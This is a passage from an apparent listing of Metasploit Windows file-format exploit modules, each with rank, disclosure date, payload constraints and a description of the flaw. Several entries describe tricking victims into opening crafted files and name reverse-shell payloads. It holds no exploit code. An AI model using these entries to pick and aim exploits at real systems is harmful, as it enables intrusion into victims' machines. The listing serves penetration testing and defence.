  memory layout using ActiveX, it is possible to gain arbitrary code 
execution under the
  context of the user.

End Exploit Number 1667

Begin Exploit Number 1668
       Name: Microsoft Works 7 WkImgSrv.dll WKsPictureInterface() 
ActiveX Code Execution
     Module: exploit/windows/fileformat/msworks_wkspictureinterface
   Platform: Windows
       Arch: 
```

```
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Low
  Disclosed: 2008-11-28

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  The Microsoft Works ActiveX control (WkImgSrv.dll) could allow a 
remote attacker
  to execute arbitrary code on a system. By passing a negative integer 
to the
  WksPictureInterface method, an attacker could execute arbitrary code 
on the system
  with privileges of the victim. Change 168430090 /0X0A0A0A0A to 
202116108 / 0x0C0C0C0C FOR IE6.
  This control is not marked safe for scripting, please choose your 
attack vector carefully.

End Exploit Number 1668

Begin Exploit Number 1669
       Name: Steinberg MyMP3Player 3.0 Buffer Overflow
     Module: exploit/windows/fileformat/mymp3player_m3u
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-03-18

Payload information:
  Space: 900
  Avoid: 4 characters

Description:
  This module exploits a stack buffer overflow in Steinberg 
MyMP3Player == 3.0. When
  the application is used to open a specially crafted m3u file, a 
buffer overflow occurs
  allowing arbitrary code execution.

End Exploit Number 1669

Begin Exploit Number 1670
       Name: NetOp Remote Control Client 9.5 Buffer Overflow
     Module: exploit/windows/fileformat/netop
   Platform: Windows
```

```
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-04-28

Payload information:
  Space: 2000
  Avoid: 3 characters

Description:
  This module exploits a stack-based buffer overflow in NetOp Remote 
Control 9.5.
  When opening a .dws file containing a specially crafted string 
longer then 520
  characters will allow an attacker to execute arbitrary code.

End Exploit Number 1670

Begin Exploit Number 1671
       Name: Nitro Pro PDF Reader 11.0.3.173 Javascript API Remote 
Code Execution
     Module: exploit/windows/fileformat/nitro_reader_jsapi
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-07-24

Payload information:

Description:
  This module exploits an unsafe Javascript API implemented in Nitro 
and Nitro Pro
  PDF Reader version 11. The saveAs() Javascript API function allows 
for writing
  arbitrary files to the file system. Additionally, the launchURL() 
function allows
  an attacker to execute local files on the file system and bypass the 
security dialog

  Note: This is 100% reliable.

End Exploit Number 1671

Begin Exploit Number 1672
       Name: Nuance PDF Reader v6.0 Launch Stack Buffer Overflow
     Module: exploit/windows/fileformat/nuance_pdf_launch_overflow
   Platform: Windows
```

```
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-10-08

Payload information:
  Avoid: 21 characters

Description:
  This module exploits a stack buffer overflow in Nuance PDF Reader 
v6.0. The vulnerability is
  triggered when opening a malformed PDF file that contains an overly 
long string in a /Launch field. This results in overwriting a 
structured exception handler record.
  This exploit does not use javascript.

End Exploit Number 1672

Begin Exploit Number 1673
       Name: Microsoft Office DDE Payload Delivery
     Module: exploit/windows/fileformat/office_dde_delivery
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2017-10-09

Payload information:

Description:
  This module generates an DDE command to place within
  a word document, that when executed, will retrieve a HTA payload
  via HTTP from an web server.

End Exploit Number 1673

Begin Exploit Number 1674
       Name: Microsoft Excel .SLK Payload Delivery
     Module: exploit/windows/fileformat/office_excel_slk
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2018-10-07

Payload information:
```

```
Description:
  This module generates a download and execute Powershell
  command to be placed in an .SLK Excel spreadsheet.
  When executed, it will retrieve a payload via HTTP
  from a web server. When the file is opened, the
  user will be prompted to "Enable Content." Once
  this is pressed, the payload will execute.

End Exploit Number 1674

Begin Exploit Number 1675
       Name: Microsoft Office CVE-2017-11882
     Module: exploit/windows/fileformat/office_ms17_11882
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2017-11-15

Payload information:

Description:
  Module exploits a flaw in how the Equation Editor that
  allows an attacker to execute arbitrary code in RTF files without
  interaction. The vulnerability is caused by the Equation Editor,
  to which fails to properly handle OLE objects in memory.

End Exploit Number 1675

Begin Exploit Number 1676
       Name: Office OLE Multiple DLL Side Loading Vulnerabilities
     Module: exploit/windows/fileformat/office_ole_multiple_dll_hijack
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-12-08

Payload information:
  Space: 2048

Description:
  Multiple DLL side loading vulnerabilities were found in various COM
components.
  These issues can be exploited by loading various these components as
an embedded
  OLE object. When instantiating a vulnerable object Windows will try
to load one
```

```
  or more DLLs from the current working directory. If an attacker
convinces the
  victim to open a specially crafted (Office) document from a
directory also
  containing the attacker's DLL file, it is possible to execute
arbitrary code with
  the privileges of the target user. This can potentially result in
the attacker
  taking complete control of the affected system.

End Exploit Number 1676

Begin Exploit Number 1677
       Name: Microsoft Office Word Malicious Hta Execution
     Module: exploit/windows/fileformat/office_word_hta
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-04-14

Payload information:

Description:
  This module creates a malicious RTF file that when opened in
  vulnerable versions of Microsoft Word will lead to code execution.
  The flaw exists in how a olelink object can make a http(s) request,
  and execute hta code in response.

  This bug was originally seen being exploited in the wild starting
  in Oct 2016. This module was created by reversing a public
  malware sample.

End Exploit Number 1677

Begin Exploit Number 1678
       Name: OpenOffice OLE Importer DocumentSummaryInformation Stream
Handling Overflow
     Module: exploit/windows/fileformat/openoffice_ole
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-04-17

Payload information:
  Space: 407
```

```
Description:
  This module exploits a vulnerability in OpenOffice 2.3.1 and 2.3.0 
on
  Microsoft Windows XP SP3.

  By supplying a OLE file with a malformed DocumentSummaryInformation 
stream, an
  attacker can gain control of the execution flow, which results 
arbitrary code
  execution under the context of the user.

End Exploit Number 1678

Begin Exploit Number 1679
       Name: Orbit Downloader URL Unicode Conversion Overflow
     Module: exploit/windows/fileformat/orbit_download_failed_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2008-04-03

Payload information:
  Space: 2000
  Avoid: 8 characters

Description:
  This module exploits a stack-based buffer overflow in Orbit 
Downloader.
  The vulnerability is due to Orbit converting a URL ascii string to 
unicode
  in an insecure way with MultiByteToWideChar.
  The vulnerability is exploited with a specially crafted metalink 
file that
  should be opened with Orbit through the "File->Add Metalink..." 
option.

End Exploit Number 1679

Begin Exploit Number 1680
       Name: Orbital Viewer ORB File Parsing Buffer Overflow
     Module: exploit/windows/fileformat/orbital_viewer_orb
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-02-27
```

```
Payload information:
  Space: 2048
  Avoid: 5 characters

Description:
  This module exploits a stack-based buffer overflow in David
Manthey's
  Orbital Viewer. When processing .ORB files, data is read from file
into
  a fixed-size stack buffer using the fscanf function. Since no bounds
  checking is done, a buffer overflow can occur. Attackers can execute
  arbitrary code by convincing their victim to open an ORB file.

End Exploit Number 1680

Begin Exploit Number 1681
       Name: VMWare OVF Tools Format String Vulnerability
     Module: exploit/windows/fileformat/ovf_format_string
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-11-08

Payload information:
  Avoid: 158 characters

Description:
  This module exploits a format string vulnerability in VMWare OVF
Tools 2.1 for
  Windows. The vulnerability occurs when printing error messages while
parsing a
  a malformed OVF file. The module has been tested successfully with
VMWare OVF Tools
  2.1 on Windows XP SP3.

End Exploit Number 1681

Begin Exploit Number 1682
       Name: ProShow Gold v4.0.2549 (PSH File) Stack Buffer Overflow
     Module: exploit/windows/fileformat/proshow_cellimage_bof
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-08-20

Payload information:
  Space: 1000
  Avoid: 3 characters

Description:
  This module exploits a stack-based buffer overflow in ProShow Gold
v4.0.2549.
  An attacker must send the file to victim and the victim must open
the file.

End Exploit Number 1682

Begin Exploit Number 1683
       Name: Photodex ProShow Producer 5.0.3256 load File Handling
Buffer Overflow
     Module: exploit/windows/fileformat/proshow_load_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-06-06

Payload information:
  Space: 9844
  Avoid: 3 characters

Description:
  This module exploits a stack-based buffer overflow in Photodex
ProShow Producer
  v5.0.3256 in the handling of the plugins load list file. An attacker
must send the
  crafted "load" file to victim, who must store it in the installation
directory. The
  vulnerability will be triggered the next time ProShow is opened. The
module has been
  tested successfully on Windows XP SP3 and Windows 7 SP1.

End Exploit Number 1683

Begin Exploit Number 1684
       Name: Publish-It PUI Buffer Overflow (SEH)
     Module: exploit/windows/fileformat/publishit_pui
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-02-05

Payload information:
  Space: 377
  Avoid: 3 characters

Description:
  This module exploits a stack based buffer overflow in Publish-It
when
  processing a specially crafted .PUI file. This vulnerability could
be
  exploited by a remote attacker to execute arbitrary code on the
target
  machine by enticing a user of Publish-It to open a malicious .PUI
file.

End Exploit Number 1684

Begin Exploit Number 1685
       Name: Real Networks Netzip Classic 7.5.1 86 File Parsing Buffer
Overflow Vulnerability
     Module: exploit/windows/fileformat/real_networks_netzip_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-01-30

Payload information:
  Space: 1000
  Avoid: 194 characters

Description:
  This module exploits a stack-based buffer overflow vulnerability in
  version 7.5.1 86 of Real Networks Netzip Classic.
  In order for the command to be executed, an attacker must convince
someone to
  load a specially crafted zip file with NetZip Classic.
  By doing so, an attacker can execute arbitrary code as the victim
user.

End Exploit Number 1685

Begin Exploit Number 1686
       Name: RealPlayer RealMedia File Handling Buffer Overflow
     Module: exploit/windows/fileformat/real_player_url_property_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-12-14
```

```
Payload information:
  Space: 2000
  Avoid: 3 characters

Description:
  This module exploits a stack based buffer overflow on RealPlayer
<=15.0.6.14.
  The vulnerability exists in the handling of real media files, due to
the insecure
  usage of the GetPrivateProfileString function to retrieve the URL
property from an
  InternetShortcut section.

  This module generates a malicious rm file which must be opened with
RealPlayer via
  drag and drop or double click methods. It has been tested
successfully on Windows
  XP SP3 with RealPlayer 15.0.5.109.

End Exploit Number 1686

Begin Exploit Number 1687
       Name: RealNetworks RealPlayer Version Attribute Buffer Overflow
     Module: exploit/windows/fileformat/realplayer_ver_attribute_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-12-20

Payload information:
  Space: 2396
  Avoid: 2 characters

Description:
  This module exploits a stack-based buffer overflow vulnerability in
  version 16.0.3.51 and 16.0.2.32 of RealNetworks RealPlayer, caused
by
  improper bounds checking of the version and encoding attributes
inside
  the XML declaration.

  By persuading the victim to open a specially-crafted .RMP file, a
  remote attacker could execute arbitrary code on the system or cause
  the application to crash.

End Exploit Number 1687
```

```
Begin Exploit Number 1688
       Name: SafeNet SoftRemote GROUPNAME Buffer Overflow
     Module: exploit/windows/fileformat/safenet_softremote_groupname
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-10-30

Payload information:
  Space: 750
  Avoid: 3 characters

Description:
  This module exploits a stack buffer overflow in SafeNet SoftRemote
  Security Policy Editor <= 10.8.5. When an attacker
  creates a specially formatted security policy with an
  overly long GROUPNAME argument, it is possible to execute
  arbitrary code.

End Exploit Number 1688

Begin Exploit Number 1689
       Name: SasCam Webcam Server v.2.6.5 Get() Method Buffer Overflow
     Module: exploit/windows/fileformat/sascam_get
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Low
  Disclosed: 2008-12-29

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  The SasCam Webcam Server ActiveX control is vulnerable to a buffer 
overflow.
  By passing an overly long argument via the Get method, a remote 
attacker could
  overflow a buffer and execute arbitrary code on the system with the 
privileges
  of the user. This control is not marked safe for scripting, please 
choose your
  attack vector carefully.

End Exploit Number 1689
```

```
Begin Exploit Number 1690
       Name: ScadaTEC ScadaPhone Stack Buffer Overflow
     Module: exploit/windows/fileformat/scadaphone_zip
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-09-12

Payload information:
  Space: 700
  Avoid: 3 characters

Description:
  This module exploits a stack-based buffer overflow vulnerability in
  version 5.3.11.1230 of scadaTEC's ScadaPhone.

  In order for the command to be executed, an attacker must convince 
someone to
  load a specially crafted project zip file with ScadaPhone.
  By doing so, an attacker can execute arbitrary code as the victim 
user.

End Exploit Number 1690

Begin Exploit Number 1691
       Name: Shadow Stream Recorder 3.0.1.7 Buffer Overflow
     Module: exploit/windows/fileformat/shadow_stream_recorder_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2010-03-29

Payload information:
  Space: 2000
  Avoid: 3 characters

Description:
  This module exploits a buffer overflow in Shadow Stream Recorder 
3.0.1.7.
  Using the application to open a specially crafted asx file, a buffer
  overflow may occur to allow arbitrary code execution under the 
context
  of the user.

End Exploit Number 1691
```

```
Begin Exploit Number 1692
       Name: PDF Shaper Buffer Overflow
     Module: exploit/windows/fileformat/shaper_pdf_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2015-10-03

Payload information:
  Space: 2000

Description:
  PDF Shaper is prone to a security vulnerability when processing PDF 
files.
  The vulnerability appears when we use Convert PDF to Image and use a 
specially
  crafted PDF file. This module has been tested successfully on Win 
XP, Win 7,
  Win 8, Win 10.

End Exploit Number 1692

Begin Exploit Number 1693
       Name: S.O.M.P.L 1.0 Player Buffer Overflow
     Module: exploit/windows/fileformat/somplplayer_m3u
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-01-22

Payload information:
  Space: 500
  Avoid: 14 characters

Description:
  This module exploits a buffer overflow in Simple Open Music Player 
v1.0. When
  the application is used to import a specially crafted m3u file, a 
buffer overflow occurs
  allowing arbitrary code execution.

End Exploit Number 1693

Begin Exploit Number 1694
       Name: Subtitle Processor 7.7.1 .M3U SEH Unicode Buffer Overflow
     Module: exploit/windows/fileformat/subtitle_processor_m3u_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2011-04-26

Payload information:
  Avoid: 8 characters

Description:
  This module exploits a vulnerability found in Subtitle Processor 7.
By
  supplying a long string of data as a .m3u file, Subtitle Processor
first converts
  this input in Unicode, which expands the string size, and then
attempts to copy it
  inline on the stack.  This results a buffer overflow with SEH
overwritten, allowing
  arbitrary code execution.

End Exploit Number 1694

Begin Exploit Number 1695
       Name: Sync Breeze Enterprise 9.5.16 - Import Command Buffer
Overflow
     Module: exploit/windows/fileformat/syncbreeze_xml
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-03-29

Payload information:
  Avoid: 8 characters

Description:
  This module exploits a buffer overflow in Sync Breeze Enterprise
9.5.16
  by using the import command option to import a specially crafted xml
file.

End Exploit Number 1695

Begin Exploit Number 1696
       Name: TFM MMPlayer (m3u/ppl File) Buffer Overflow
     Module: exploit/windows/fileformat/tfm_mmplayer_m3u_ppl_bof
   Platform: Windows
       Arch: 
```

```
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2012-03-23

Payload information:
  Avoid: 3 characters

Description:
  This module exploits a buffer overflow in MMPlayer 2.2
  The vulnerability is triggered when opening a malformed M3U/PPL file
  that contains an overly long string, which results in overwriting a
  SEH record, thus allowing arbitrary code execution under the context
  of the user.

End Exploit Number 1696

Begin Exploit Number 1697
       Name: Themebleed- Windows 11 Themes Arbitrary Code Execution
CVE-2023-38146
     Module: exploit/windows/fileformat/
theme_dll_hijack_cve_2023_38146
   Platform: Windows
       Arch: x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-09-13

Payload information:

Description:
  When an unpatched Windows 11 host loads a theme file referencing an
msstyles file, Windows loads the
  msstyles file, and if that file's PACKME_VERSION is `999`, it then
attempts to load an accompanying dll
  file ending in `_vrf.dll` Before loading that file, it verifies that
the file is signed.  It does this by
  opening the file for reading and verifying the signature before
opening the file for execution.
  Because this action is performed in two discrete operations, it
opens the procedure for a time of check to
  time of use vulnerability.  By embedding a UNC file path to an SMB
server we control, the SMB server can
  serve a legitimate, signed dll when queried for the read, but then
serve a different file of the same name
  when the host intends to load/execute the dll.

End Exploit Number 1697
```

```
Begin Exploit Number 1698
       Name: Total Video Player 1.3.1 (Settings.ini) - SEH Buffer
Overflow
     Module: exploit/windows/fileformat/total_video_player_ini_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-11-24

Payload information:
  Space: 1787
  Avoid: 4 characters

Description:
  This module exploits a buffer overflow in Total Video Player 1.3.1.
The vulnerability
  occurs opening malformed Settings.ini file e.g. "C:\Program
Files\Total Video Player\".
  This module has been tested successfully on Windows WinXp-Sp3-EN,
Windows 7, and Windows 8.

End Exploit Number 1698

Begin Exploit Number 1699
       Name: TugZip 3.5 Zip File Parsing Buffer Overflow Vulnerability
     Module: exploit/windows/fileformat/tugzip
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2008-10-28

Payload information:
  Avoid: 133 characters

Description:
  This module exploits a stack-based buffer overflow vulnerability
  in the latest version 3.5 of TugZip archiving utility.
  In order to trigger the vulnerability, an attacker must convince
someone
  to load a specially crafted zip file with TugZip by double click or
file open.
  By doing so, an attacker can execute arbitrary code as the victim
user.

End Exploit Number 1699
```

```
Begin Exploit Number 1700
       Name: UltraISO CCD File Parsing Buffer Overflow
     Module: exploit/windows/fileformat/ultraiso_ccd
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-04-03

Payload information:
  Space: 2048
  Avoid: 5 characters

Description:
  This module exploits a stack-based buffer overflow in EZB Systems, 
Inc's
  UltraISO. When processing .CCD files, data is read from file into a
  fixed-size stack buffer. Since no bounds checking is done, a buffer 
overflow
  can occur. Attackers can execute arbitrary code by convincing their 
victim
  to open an CCD file.

  NOTE: A file with the same base name, but the extension of "img" 
must also
  exist. Opening either file will trigger the vulnerability, but the 
files must
  both exist.

End Exploit Number 1700

Begin Exploit Number 1701
       Name: UltraISO CUE File Parsing Buffer Overflow
     Module: exploit/windows/fileformat/ultraiso_cue
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2007-05-24

Payload information:
  Space: 1024
  Avoid: 4 characters

Description:
  This module exploits a stack-based buffer overflow in EZB Systems, 
Inc's
  UltraISO. When processing .CUE files, data is read from file into a
  fixed-size stack buffer. Since no bounds checking is done, a buffer
overflow
  can occur. Attackers can execute arbitrary code by convincing their
victim
  to open an CUE file.

  NOTE: A file with the same base name, but the extension of "bin"
must also
  exist. Opening either file will trigger the vulnerability, but the
files must
  both exist.

End Exploit Number 1701

Begin Exploit Number 1702
       Name: URSoft W32Dasm Disassembler Function Buffer Overflow
     Module: exploit/windows/fileformat/ursoft_w32dasm
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2005-01-24

Payload information:
  Space: 256
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in W32Dasm <= v8.93.
  By creating a malicious file and convincing a user to disassemble
  the file with a vulnerable version of W32Dasm, the Imports/Exports
  function is copied to the stack and arbitrary code may be executed
  locally as the user.

End Exploit Number 1702

Begin Exploit Number 1703
       Name: VariCAD 2010-2.05 EN (DWB File) Stack Buffer Overflow
     Module: exploit/windows/fileformat/varicad_dwb
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2010-03-17

Payload information:
  Space: 1024
  Avoid: 2 characters
```

```
Description:
  This module exploits a stack-based buffer overflow in VariCAD
2010-2.05 EN.
  An attacker must send the file to victim and the victim must open
the file.

End Exploit Number 1703

Begin Exploit Number 1704
       Name: VideoCharge Studio Buffer Overflow (SEH)
     Module: exploit/windows/fileformat/videocharge_studio
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-10-27

Payload information:
  Space: 2808
  Avoid: 6 characters

Description:
  This module exploits a stack based buffer overflow in VideoCharge
Studio 2.12.3.685 when
  processing a specially crafted .VSC file. This vulnerability could
be
  exploited by a remote attacker to execute arbitrary code on the
target
  machine by enticing a user of VideoCharge Studio to open a
malicious .VSC file.

End Exploit Number 1704

Begin Exploit Number 1705
       Name: VideoLAN VLC TiVo Buffer Overflow
     Module: exploit/windows/fileformat/videolan_tivo
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2008-10-22

Payload information:
  Space: 550
  Avoid: 1 characters

Description:
  This module exploits a buffer overflow in VideoLAN VLC 0.9.4.
  By creating a malicious TY file, a remote attacker could overflow a
  buffer and execute arbitrary code.

End Exploit Number 1705

Begin Exploit Number 1706
       Name: VeryTools Video Spirit Pro
     Module: exploit/windows/fileformat/videospirit_visprj
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-04-11

Payload information:
  Space: 800
  Avoid: 20 characters

Description:
  This module exploits a stack buffer overflow in Video Spirit <=
1.70.
  When opening a malicious project file (.visprj), a stack buffer
overflow occurs,
  resulting in arbitrary code execution.
  This exploit bypasses DEP & ASLR, and works on XP, Vista & Windows
7.

End Exploit Number 1706

Begin Exploit Number 1707
       Name: Microsoft Office Visio VISIODWG.DLL DXF File Handling
Vulnerability
     Module: exploit/windows/fileformat/visio_dxf_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-05-04

Payload information:
  Space: 2000
  Avoid: 194 characters

Description:
  This module exploits a stack based overflow vulnerability in the
handling
  of the DXF files by Microsoft Visio 2002. Revisions prior to the
```

```
release of
  the MS bulletin MS10-028 are vulnerable. The overflow occurs when
the application
  is used to import a specially crafted DXF file, while parsing the
HEADER section
  of the DXF file.

  To trigger the vulnerability an attacker must convince someone to
insert a
  specially crafted DXF file to a new document, go to 'Insert' -> 'CAD
Drawing'

End Exploit Number 1707

Begin Exploit Number 1708
       Name: VisiWave VWR File Parsing Vulnerability
     Module: exploit/windows/fileformat/visiwave_vwr_type
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2011-05-20

Payload information:
  Space: 2000
  Avoid: 3 characters

Description:
  This module exploits a vulnerability found in VisiWave's Site Survey
Report application.
  When processing .VWR files, VisiWaveReport.exe attempts to match a
valid pointer based on the 'Type'
  property (valid ones include 'Properties', 'TitlePage', 'Details',
'Graph', 'Table', 'Text',
  'Image'), but if a match isn't found, the function that's supposed
to handle this routine
  ends up returning the input as a pointer, and later used in a CALL
DWORD PTR [EDX+10]
  instruction.  This allows attackers to overwrite it with any
arbitrary value, and results code
  execution.  A patch is available at visiwave.com; the fix is done by
XORing the return value as
  null if no match is found, and then it is validated before use.

  NOTE: During installation, the application will register two file
handles, VWS and VWR, which allows a
  victim user to 'double click' the malicious VWR file and execute
code.  This module was also built
  to bypass ASLR and DEP.
```

```
End Exploit Number 1708

Begin Exploit Number 1709
       Name: VLC Media Player MKV Use After Free
     Module: exploit/windows/fileformat/vlc_mkv
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2018-05-24

Payload information:
  Space: 768

Description:
  This module exploits a use after free vulnerability in
  VideoLAN VLC =< 2.2.8. The vulnerability exists in the parsing of
  MKV files and affects both 32 bits and 64 bits.

    In order to exploit this, this module will generate two files:
  The first .mkv file contains the main vulnerability and heap spray,
  the second .mkv file is required in order to take the vulnerable 
code
  path and should be placed under the same directory as the .mkv file.

    This module has been tested against VLC v2.2.8. Tested with 
payloads
  windows/exec, windows/x64/exec, windows/shell/reverse_tcp,
  windows/x64/shell/reverse_tcp. Meterpreter payloads if used can
  cause the application to crash instead.

End Exploit Number 1709

Begin Exploit Number 1710
       Name: VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow
     Module: exploit/windows/fileformat/vlc_modplug_s3m
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2011-04-07

Payload information:
  Space: 476

Description:
  This module exploits an input validation error in libmod_plugin as
  included with VideoLAN VLC 1.1.8. All versions prior to version
1.1.9
  are affected. By creating a malicious S3M file, a remote attacker
  could execute arbitrary code.

  Although other products that bundle libmodplug may be vulnerable,
this
  module was only tested against VLC.

  NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to
  permanently enable NX support on machines that support it. As such,
  this module is capable of bypassing DEP, but not ASLR.

End Exploit Number 1710

Begin Exploit Number 1711
       Name: VLC Media Player RealText Subtitle Overflow
     Module: exploit/windows/fileformat/vlc_realtext
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2008-11-05

Payload information:
  Space: 1900
  Avoid: 3 characters

Description:
  This module exploits a stack buffer overflow vulnerability in
  VideoLAN VLC < 0.9.6. The vulnerability exists in the parsing of
  RealText subtitle files.

    In order to exploit this, this module will generate two files:
  The .mp4 file is used to trick your victim into running. The .rt
file
  is the actual malicious file that triggers the vulnerability, which
  should be placed under the same directory as the .mp4 file.

End Exploit Number 1711

Begin Exploit Number 1712
       Name: VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow
     Module: exploit/windows/fileformat/vlc_smb_uri
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2009-06-24

Payload information:
  Space: 1024
  Avoid: 1 characters

Description:
  This module exploits a stack-based buffer overflow in the 
Win32AddConnection
  function of the VideoLAN VLC media player. Versions 0.9.9 through 
1.0.1 are
  reportedly affected.

  This vulnerability is only present in Win32 builds of VLC.

  This payload was found to work with the windows/exec and
  windows/meterpreter/reverse_tcp payloads. However, the
  windows/meterpreter/reverse_ord_tcp was found not to work.

End Exploit Number 1712

Begin Exploit Number 1713
       Name: VideoLAN VLC MKV Memory Corruption
     Module: exploit/windows/fileformat/vlc_webm
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2011-01-31

Payload information:
  Space: 1024

Description:
  This module exploits an input validation error in VideoLAN VLC
  < 1.1.7.  By creating a malicious MKV or WebM file, a remote 
attacker
  could execute arbitrary code.

  NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to
  permanently enable NX support on machines that support it.

End Exploit Number 1713

Begin Exploit Number 1714
       Name: VUPlayer CUE Buffer Overflow
     Module: exploit/windows/fileformat/vuplayer_cue
   Platform: Windows
       Arch: 
```

```
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-08-18

Payload information:
  Space: 750
  Avoid: 1 characters

Description:
  This module exploits a stack based overflow in VUPlayer <= 2.49.
When
  the application is used to open a specially crafted cue file, a
buffer is overwritten allowing
  for the execution of arbitrary code.

End Exploit Number 1714

Begin Exploit Number 1715
       Name: VUPlayer M3U Buffer Overflow
     Module: exploit/windows/fileformat/vuplayer_m3u
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2009-08-18

Payload information:
  Space: 750
  Avoid: 1 characters

Description:
  This module exploits a stack over flow in VUPlayer <= 2.49. When
  the application is used to open a specially crafted m3u file, an
buffer is overwritten allowing
  for the execution of arbitrary code.

End Exploit Number 1715

Begin Exploit Number 1716
       Name: Watermark Master Buffer Overflow (SEH)
     Module: exploit/windows/fileformat/watermark_master
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2013-11-01
```

```
Payload information:
  Space: 7276
  Avoid: 6 characters

Description:
  This module exploits a stack based buffer overflow in Watermark 
Master 2.2.23 when
  processing a specially crafted .WCF file. This vulnerability could 
be
  exploited by a remote attacker to execute arbitrary code on the 
target
  machine by enticing a user of Watermark Master to open a 
malicious .WCF file.

End Exploit Number 1716

Begin Exploit Number 1717
       Name: Winamp MAKI Buffer Overflow
     Module: exploit/windows/fileformat/winamp_maki_bof
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2009-05-20

Payload information:
